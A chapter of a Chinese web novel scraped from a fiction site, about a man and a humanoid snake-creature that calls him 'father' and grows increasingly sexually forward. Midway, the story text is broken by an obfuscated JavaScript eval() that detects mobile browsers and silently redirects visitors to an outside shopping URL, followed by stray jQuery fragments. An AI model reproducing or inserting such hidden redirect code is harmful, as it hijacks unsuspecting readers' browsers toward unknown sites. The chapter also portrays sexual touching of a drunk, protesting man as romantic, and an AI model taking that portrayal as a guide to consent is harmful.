文趣网 > 都市小说 > 被饲养的小怪物撅了 > 13.第 13 章
    又是以雷霆姿势清醒,沈渡对此感到不解和无奈,还有一点厌烦。但他也没说什么,费了老大劲把蛇推开,掀被下床。

    昨天弄太晚了,没有仔细看,现在照镜子的时候,他才发现自己脖子伤痕累累。

    锁骨上布着好几个斑驳吻痕,有一处颜色深得发紫,侧颈甚至还有一个未消退的牙印,被白皙皮肤衬得格外明显。

    “被蚊子咬了”这种鬼话是完全说不过去的,沈渡对着镜子沉默片刻,还是取了条围巾遮盖。好在现在是大冬天,无人在意他的围巾。

    节后第一个工作日不算忙,主要是开了一堆没用的会。最后一个会赶在下班之前结束,沈渡一秒没多待,飞速逃离工位。

    路过商场时,他想着节后吃顿好的奖励自己,又拐进去买了点新鲜食材。

    到家时天已黑了,玄关的灯自动亮起。沈渡低头换了鞋,把购物袋拎进厨房。

    正要开始备菜,蛇游了过来,“父亲今天回来得好早。工作不忙吗?”

    “嗯,还行。”沈渡低头洗菜,随口问他,“你在家干嘛了。”

    “看书,睡觉。”蛇很快答,微微顿了下,又补充,“想你。”

    “……”

    沈渡把水龙头拧大了一点,哗哗的水声填满了短暂的沉默。他继续低头洗菜,没有接话。

    蛇就倚在边上看他,目光一瞬不瞬。从他低垂的眼睫滑向微微抿起的唇,到袖子半挽露出的线条流畅的手臂,还有一双浸在水里,衬得十指愈发白皙修长的手。

    沈渡余光瞥见他盯得专注仔细,莫名觉得不太舒服,忍不住回头瞪他一眼,“你出去等,别在这杵着。”

    “为什么?”蛇眨了眨眼,一脸无辜,“可是我想学做菜。”

    “……行。”

    这理由一点毛病都没,沈渡没话说,只能应允。

    好在他今天心情不错,很快就把这点不舒服抛到脑后。蛇站在他斜后方安静看着,偶尔在他需要的时候帮忙递个东西。

    晚饭很丰盛。糖醋排骨裹着一层晶亮的酱汁,撒了白芝麻;蒜蓉粉丝蒸鲍鱼整整齐齐码在盘里,葱花点缀其上;清炒时蔬碧绿油亮,番茄蛋花汤冒着热气,再加上刚蒸好的鲈鱼,鱼身划了几刀,蒸鱼豉油浇上去激出一股鲜香,满满当当摆了一桌。

    沈渡把最后一道菜端上桌,忍不住拿起手机。见蛇要动筷,赶忙拦住他,“等一下,我要拍照。”

    “拍照?”蛇疑惑抬头,虽然不解但还是乖乖放下碗筷。

    “嗯,想发朋友圈。”

    “朋友圈是什么?”

    “一个线上社交平台,一般搁上面分享炫耀你的生活,就加了好友的人能看见。”

    “哦。”蛇应了声,表情若有所思。

    沈渡给他简单解释几句,头也没抬,拇指调试着滤镜的各种参数,在桌边走来走去找角度。

    却发现,无论他怎么找角度换位置,镜头里总能看见蛇的影子。他的手状似不经意地搁在桌上,指尖微微蜷着,搭在盘子边缘。

    沈渡拧眉,忍不住抬头看他,“你往边上——”

    “怎么了?”蛇看过来,表情清澈茫然,过一会儿恍然大悟,委委屈屈说,“难道父亲不许我入镜吗?我这么见不得人吗?”

    “……没有,你不要多想。”

    沈渡与他对视片刻,最终败下阵来。

    要让这家伙躲着点,指不定又要像上次一样怎么闹呢。而且平常吃饭的桌子确实小了点,碗筷都差点摆不开。

    沈渡哄他一句,边按下快门。还没来得及检查成片,余光就瞥见什么东西从屏幕边缘一闪而过——蛇整个人凑近桌边,半张脸探进画面。

    “喂!”沈渡瞪他。

    这回是故意的吧!

    蛇迅速缩回去,坐得端端正正,好像什么都没发生过,乖巧又无辜。

    “……算了。”

    沈渡无语地笑了一下,重新拍一张只有菜的发出去,配文:每天都要好好吃饭^ ^。

    刚发一会儿就陆陆续续有人点赞,在评论区大流口水,说自备碗筷,问他地址在哪。

    还有人跟侦探似的,把照片放大八百倍,看出他修图时没裁干净的边缘是一只手,就问他和谁吃,是不是谈了女朋友。

    沈渡选择性地回复几个评论,又翻了翻相册。

    却见蛇捣乱的那张,意外拍得还不错。

    明亮的灯光下,少年坐在桌边,只露半张脸。轮廓优越,线条利落又漂亮,在暖光里显得格外柔和。

    他的眼睛透过屏幕望过来,眼底有细碎的光,衬得眼神专注又温柔,像是满桌的菜他都没看见,只看见了镜头后面的人。

    沈渡顿了顿,最后还是没删,又拿起筷子,“可以吃了。”

    “好。”

    蛇坐在他对面,夹了一块排骨,低头认真地啃。余光瞥见沈渡一边吃一边看手机,不由拧了下眉。

    沈渡吃得心不在焉,一手捏着筷子夹菜夹饭,另一手还在屏幕上敲打,快得指尖都飞起来。

    蛇一直盯着他,筷子渐渐慢下来,忽然出声,“父亲。”

    “嗯?”沈渡应了声,头都没抬,拇指还在打字。

    “这里。”

    蛇伸手,指尖轻轻点了下自己嘴角的位置,示意他嘴角粘了饭粒。

    但沈渡没看他,视线仍黏在手机屏幕上,筷子夹了筷鱼肉送进嘴里,敷衍地点了下头。

    “……”

    蛇的筷子搁在碗上,发出一声极轻微的响。

    又过一会儿,沈渡察觉什么,终于抬头,还没看清,头顶忽然压下一片阴影。

    餐桌不宽,蛇的上身轻而易举越过桌面,一只手撑在沈渡手边的桌沿,另一手捏住他的下巴,迫他仰头。

    他的拇指贴在沈渡嘴角,沿着唇线的弧度轻轻抹过去。指腹温凉细腻,擦过嘴唇时停留一瞬,有种微妙的、介于擦拭与抚摸之间的暧昧。沈渡本能地屏了下呼吸,闻到他手上淡淡的草木香气。

    整个过程很快,蛇收回手,重新坐下来,飞快舔了下自己的指尖,然后若无其事地捧起碗筷继续吃饭。

    “……”

    沈渡终于反应过来,想说什么又觉得奇怪,最后还是闭嘴,也若无其事继续吃,之后也没再开口。

    ……

    公司年会定在周六晚上,沈渡对着衣柜站了几分钟,还是没决定好穿什么。

    院里平常没有着装要求,白大褂一套,底下穿什么谁也看不见。但年会不太一样,而且今年是研究院成立二十周年,规模搞得比以往都大,包了酒店宴会厅,组长还在群里连发三条通知,让他们穿得正式一点。

    而沈渡对自己的要求是,不管在家里怎么邋遢,出门就是得人模人样。

    他从衣柜深处刨出几套西装,抖了抖,往床上一摊,自己退后两步,抱着手臂端详。

    “父亲在干什么?”

    蛇不知道什么时候游到卧室门口,上半身懒洋洋倚着门框。他刚午睡醒来,声音带着一点哑。

    “挑衣服,”沈渡头也没回,“公司年会,要穿正装。”

    “年会?”

    “就是一帮人找个地方吃饭喝酒,听领导讲废话,看表演,然后抽奖。哦对,你晚饭自己解决吧,我不回来吃。”

    沈渡说着,拎起一套黑色和深蓝色的,在自己身上比了比,又问蛇,“你觉得哪件好看?”

    “让我选吗?”蛇眨了眨眼,游进来,来回看着床上的和他手里拿的,当真挑了一套出来,“这件。”

    是那套深蓝色的。沈渡意外挑眉,“为什么?”

    “黑色的太闷了,深蓝色显白。”

    蛇抬起眼,表情认真,目光在沈渡脸上停留一瞬,又滑过他的肩颈和腰肢,眼神微暗,“而且这件收腰收得好,显身材,父亲穿上会很好看。”

    “……行。”

    被蛇点评身材,沈渡莫名觉得有点怪,但也没有反对,立刻要脱衣服试穿。

    手上刚要把身上的家居服脱了,抬眼见蛇一直直勾勾盯着,沈渡又觉得脸热和尴尬,不由停下来,“你先出去吧,我要换衣服。”

    “……好吧。”蛇轻轻抿唇,像是不太理解也不太愿意,但最后还是听话出去。

    沈渡很快换好,又把蛇叫进来,张开手臂让他看,“怎么样?”

    他对着镜子侧了侧身,透过镜子看见身后不远处,蛇沉默地望着他。

    目光落在他身上,从头到脚慢悠悠滑过,近乎是一种审视,仔细得让沈渡又觉得不舒服,好像裸露在外的皮肤都微微发热发痒。

    他忍不住催促,“行不行,你说句话。”

    蛇终于动了,上前游到沈渡身后,在镜子里与他对视。

    而后伸出手,给他整理领口,温凉指尖轻轻蹭过皮肤,痒得令人发抖。又把系得严严实实的纽扣解开一颗,露出一小截白皙的锁骨。

    “……好看。”他开口,声音微微低哑。

    这几天,蛇好像又长大一些,站在他背后,双手搭在他肩上,凑他很近,感觉像是将他搂在怀里。望过来的眼神也不似从前清澈,多了几分说不清道不明的深沉。

    沈渡不由身体微僵,又忍不住往边上避开些,“……那就这套。”

    “嗯。”蛇应声,若无其事地抱紧他的腰,低头把脸埋进他脖子里蹭,“父亲,早点回来。”

    ……

    年会果然如沈渡所料,冗长且无聊。领导讲话从院里的光辉历史讲到未来的战略规划,PPT翻了一页又一页。

    好在酒店上菜快且好吃,沈渡坐在圆桌边,默不作声地一口接一口。

    抽奖环节开始后,气氛总算松快一点。沈渡手气一般,只中了几个现金红包。

    之后,几个组开始互相走动。沈渡随着组长组员站起,端起自己的酒杯,维持标准的社交笑容,与各位碰杯、寒暄客套。

    沈渡平常不太喝酒,几杯下肚就感觉脑子有点蒙了。旁边的同事还在说什么,他点头应着,其实已经听不太进去了,只是习惯性保持微笑。酒席间的烟酒味、香水味,几种味道混在一起,浓郁得发腻。

    散场的时候已经快十一点了,组长喝得满面红光,搭着沈渡的肩说自己叫了代驾,可以顺路送他一程。沈渡没来得及拒绝,组长就给他塞进车后座去。

    一路上,组长絮絮叨叨说个不停,从泽瑞遗体消失的事说到明年的预算申请,从他女儿升学的事说到沈渡什么时候找对象。

    “你这样单着也不是事儿。”组长语重心长拍他大腿,“你看你,长得好,工作稳定,想找什么样的不行……”

    沈渡闭上眼睛靠着车窗,有一搭没一搭地“嗯嗯”应着。车里还开了暖气,热烘烘烤得他人快晕过去。

    好险路途不算长,车子很快开到沈渡的小区楼下,他劝了组长半天,才让他放弃送自己上楼。

    ……

    到家门前,沈渡还来不及刷指纹,门锁咔哒一声自己开了。

    蛇站在门口,高大身形挡住了顶灯大部分光线,沈渡微仰起头看他,只觉视野有些朦胧,看不清他脸上是什么表情。

    “怎么还不睡?”

    沈渡招呼一句,又低头,越过他往里进,伸手去撑鞋柜,指尖却差了一截没够着,整个人往前踉跄半步。

    “小心。”

    蛇

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17652693|206175||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    眼疾手快扶住他,手臂稳稳地横在他腰间,把他往怀里带,门在身后关上,自动落锁。

    他低头,鼻尖贴近沈渡的领口来回嗅了一下,眉心立时拧起,竖瞳收窄,喉间压着极低的嘶声,“……父亲身上,不好闻。”

    “什么,很臭吗?”

    沈渡被他说得有些尴尬,忙低头闻了闻自己,又推他,“那我去洗澡。”

    蛇却收拢手臂,把他搂得更紧,扶着他往浴室去,“我带你去。”

    沈渡已经醉了,脑子转不太动,“嗯”了声,就这样迷迷糊糊被他带着走。

    蛇将他暂时安置在浴缸边沿的矮凳上,让他靠着墙。自己则去放水、试水温,又去拿了浴巾和换洗衣物。

    等他回来的时候,沈渡正闭着眼睛,伸手解自己的衬衫扣子。

    出门前精心打理的背头散落几缕在额前,金丝眼镜滑下鼻梁,衬着英俊锋锐的五官,很有几分斯文败类的气质。

    外套和马甲已经脱在外面,此时上身只剩一件衬衫,被汗水洇得半透,黏在胸腹,勾出性感清晰的线条。一双长腿无处安放,半支着往两边敞。

    他似乎醉得厉害,双手使不出平日的十分之一灵巧,半天解不了两颗便烦躁起来,手指抓着领口来回扯。胸膛又露出一小片,蒙着层细汗,亮晶晶的,白里透粉,迷人晃眼。

    “……父亲。”

    蛇目不转睛盯着,喉头轻轻滚了滚,缓缓凑近,轻声叫他。

    沈渡扯完领口就不动了,像是睡着,没什么反应。蛇的胆子便渐渐大了,又往前凑,直到脸颊近乎埋在沈渡的胸口,深深嗅了嗅。

    是混着各种烟酒和香水的气息,并不难闻,但破坏了原本的清爽干净。沈渡当然不臭,但身上满是别人的味道,他不喜欢。

    他忍不住探出舌,在那片细腻晶莹的皮肤上舔舐、吮吸,从侧颈到锁骨,再往下,不厌其烦地一遍遍清洗。

    直至哗啦一声,浴缸水满溢出,浇在尾巴上,蛇才如梦初醒地退开,动手除去沈渡的衣物,把人抱进浴缸里。

    被水一激,沈渡立刻醒了,认清眼下情形,不由脸颊涨红,双腿支起来并拢,又推他,“你出去。”

    蛇站着没动,手臂还搂在他腰上,“父亲醉了,我帮你洗。”

    “不要,我自己可以。”沈渡拧眉,又推他。

    “你不可以。”

    蛇纹丝不动,垂眸望着他的脸,表情认真,目不斜视,“刚刚父亲就睡着了,是我帮父亲脱衣服的。要是我不在,父亲又要睡着了,这是很危险的。”

    “……”

    沈渡沉默抿唇,耳根都红了,见蛇目不转睛盯着自己,忍不住撇开视线。

    “……父亲在顾虑什么?难道是在害羞吗?”沉默一会儿,蛇又开口,眼神纯良无辜。

    “两个男的,害羞什么!”

    沈渡睁大眼,猛地转脸瞪他,最终也把自己说服了,索性破罐破摔躺下,安然接受蛇的侍奉。

    起初倒还顺当,温水裹着泡沫,蛇的指腹带着薄茧,力道恰到好处。直到他的双手从后背滑到胸前,还要继续往下。

    沈渡连忙按住他,声音紧绷,“不用了!”

    “为什么?”

    蛇歪了歪头,指尖轻挣,似有若无地擦过皮肤,酥痒如电流般窜开。

    感觉到什么,沈渡僵了一下,连忙并起双腿,咬牙低声开口,“……出去。”

    “……”蛇沉默地望他。

    沈渡双手抓着浴缸边沿,指尖攥得发白。身体浸在水里,浑身湿漉漉,雪白的泡沫漂浮,遮挡底下的春光。

    但不难从他绷直的脊背、发颤的眼睫、紧抿的嘴唇和润红的耳尖猜到什么。

    蛇欣赏一会儿,嘴角勾了勾,还是乖巧地收回手,退出去了,“父亲洗好了叫我。”

    ……

    又过一阵。

    不知道是不是自己多心,沈渡总觉得蛇最近的表现有点奇怪,但具体哪里奇怪,他又说不上来。

    譬如,他用电脑比较多,眼睛盯得发酸的时候会摘眼镜休息,蛇就特别自然乖巧地凑过来帮他按摩。

    譬如,蛇现在已经学会做简单的家常菜,甚至往烘焙甜品的方向进军——他还是那么爱冰淇淋。

    把成品端出来让沈渡试吃的时候,他在打游戏,双手忙得顾不上来。蛇就用叉子叉了一小块儿喂到他嘴边,偶尔会直接用手,沈渡的舌头时常不小心碰到他的指尖。

    再譬如,沈渡洗完澡出来,头发还在滴水。蛇立刻拿了干净的毛巾和吹风机要帮他擦头发。

    没等他答应,蛇的手指便穿进他半湿的发间,指腹贴着头皮慢慢拨弄。吹到后面,他的手指顺着发尾往下滑,指腹偶尔轻轻蹭过后颈,痒得沈渡忍不住缩脖子。

    ……

    明明都是很平常的小事,甚至有些在蛇还是幼年体的时候,沈渡也对他做过。

    可现在,长大了的蛇反过来对他做这些,却让他有些不适应。

    沈渡总觉得……太亲昵了,有心与他说道,但每次对上蛇无辜的眼神,又把拒绝的话咽回肚里。

    直到又一天清晨。

    沈渡如往常一般醒来,费尽九牛二虎之力,要把缠在身上的胳膊和尾巴摘下来。

    许是天气太冷,不管他怎么折腾,蛇都睡得很死,一点要清醒的迹象都没有,俨然把他当成什么人形抱枕,才挣开一点就又立马缠上来,被弄烦了还不满地哼哼唧唧。

    大清早,正是该精神抖擞的时候,沈渡半天没挣扎出来,已经有点绝望了。

    未想到,更令他绝望的是,蛇抱他抱得很紧,几个来回之后,脑袋竟不偏不倚枕在他腿间。